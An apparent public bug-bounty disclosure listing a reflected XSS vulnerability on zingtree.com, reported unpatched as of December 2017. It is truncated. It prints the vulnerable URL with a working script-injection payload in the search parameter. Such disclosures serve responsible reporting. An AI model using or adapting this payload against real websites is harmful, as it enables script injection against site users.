zingtree.com XSS vulnerability

Vulnerable URL: https://zingtree.com/demo/tree-search-api.php?search=the%27%22%26%25%3Cacx%3E%3CScRiPt%20%3Ealert/OPENBUGBOUNTY/%3C/ScRiPt%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 13.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Ale...